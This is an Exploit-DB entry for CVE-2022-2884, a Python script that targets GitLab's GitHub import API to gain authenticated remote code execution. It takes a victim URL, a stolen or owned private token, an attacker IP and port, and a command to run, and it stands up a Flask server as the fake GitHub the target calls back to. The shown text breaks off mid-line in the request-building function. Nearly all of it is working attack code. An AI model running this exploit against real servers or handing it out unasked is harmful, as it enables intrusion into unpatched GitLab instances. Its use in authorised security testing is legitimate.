Exploit-DB #51181
Description: GitLab v15.3 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: ruby
Date: 2023-04-01
Author: Antonio Francesco Sardella

Exploit:
# Exploit Title: GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) 
# Date: 2022-12-25
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://about.gitlab.com/install/
# Version: GitLab CE/EE, all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3.1
# Tested on: 'gitlab/gitlab-ce:15.3.0-ce.0' Docker container (vulnerable application), 'Ubuntu 20.04.5 LTS' with 'Python 3.8.10' (script execution)
# CVE: CVE-2022-2884
# Category: WebApps
# Repository: https://github.com/m3ssap0/gitlab_rce_cve-2022-2884
# Credits: yvvdwf (https://hackerone.com/reports/1672388)

# This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884.

# A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 
# 15.3 to 15.3.1 allows an authenticated user to achieve remote code execution 
# via the Import from GitHub API endpoint.

# https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

# DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
# Please use this tool responsibly. I do not take responsibility for the way in which any one uses 
# this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.

import argparse
import logging
import validators
import random
import string
import requests
import time
import base64
import sys

from flask import Flask, current_app, request
from multiprocessing import Process

VERSION = "v1.0 (2022-12-25)"
DEFAULT_LOGGING_LEVEL = logging.INFO
app = Flask(__name__)

def parse_arguments():
    parser = argparse.ArgumentParser(
        description=f"Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - {VERSION}"
    )
    parser.add_argument("-u", "--url",
                        required=True,
                        help="URL of the victim GitLab")
    parser.add_argument("-pt", "--private-token",
                        required=True,
                        help="private token of GitLab")
    parser.add_argument("-tn", "--target-namespace",
                        required=False,
                        default="root",
                        help="target namespace of GitLab (default is 'root')")
    parser.add_argument("-a", "--address",
                        required=True,
                        help="IP address of the attacker machine")
    parser.add_argument("-p", "--port",
                        required=False,
                        type=int,
                        default=1337,
                        help="TCP port of the attacker machine (default is 1337)")
    parser.add_argument("-s", "--https",
                        action="store_true",
                        required=False,
                        default=False,
                        help="set if the attacker machine is exposed via HTTPS")
    parser.add_argument("-c", "--command",
                        required=True,
                        help="the command to execute")
    parser.add_argument("-d", "--delay",
                        type=float,
                        required=False,
                        help="seconds of delay to wait for the exploit to complete")
    parser.add_argument("-v", "--verbose",
                        action="store_true",
                        required=False,
                        default=False,
                        help="verbose mode")
    return parser.parse_args()

def validate_input(args):
    try:
        validators.url(args.url)
    except validators.ValidationFailure:
        raise ValueError("Invalid target URL!")
    
    if len(args.private_token.strip()) < 1 and not args.private_token.strip().startswith("glpat-"):
        raise ValueError("Invalid GitLab private token!")

    if len(args.target_namespace.strip()) < 1:
        raise ValueError("Invalid GitLab target namespace!")

    try:
        validators.ipv4(args.address)
    except validators.ValidationFailure:
        raise ValueError("Invalid attacker IP address!")
    
    if args.port < 1 or args.port > 65535:
        raise ValueError("Invalid attacker TCP port!")
    
    if len(args.command.strip()) < 1:
        raise ValueError("Invalid command!")
    
    if args.delay is not None and args.delay <= 0.0:
        raise ValueError("Invalid delay!")

def generate_random_string(length):
    letters = string.ascii_lowercase + string.ascii_uppercase + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def generate_random_lowercase_string(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def generate_random_number(length):
    letters = string.digits
    result = "0"
    while result.startswith("0"):
        result = ''.join(random.choice(letters) for i in range(length))
    return result

def base64encode(to_encode):
    return base64.b64encode(to_encode.encode("ascii")).decode("ascii")

def send_request(url, private_token, target_namespace, address, port, is_https, fake_repo_id):
    logging.info("Sending request to target GitLab.")
    protocol = "http"
    if is_https:
        protocol += "s"
    headers = {
        "Content-Type": "application/json",
        "PRIVATE-TOKEN": private_token,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
    }
    fake_personal_access_token = "ghp_" + generate_random_string(36)
    new_name = generate_random_lowercase_string(8)
    logging.debug("Random generated parameters of the request:")
    logging.debug(f"              fake_repo_id = {fake_repo_id}")
    logging.debug(f"fake_personal_access_token = {fake_personal_access_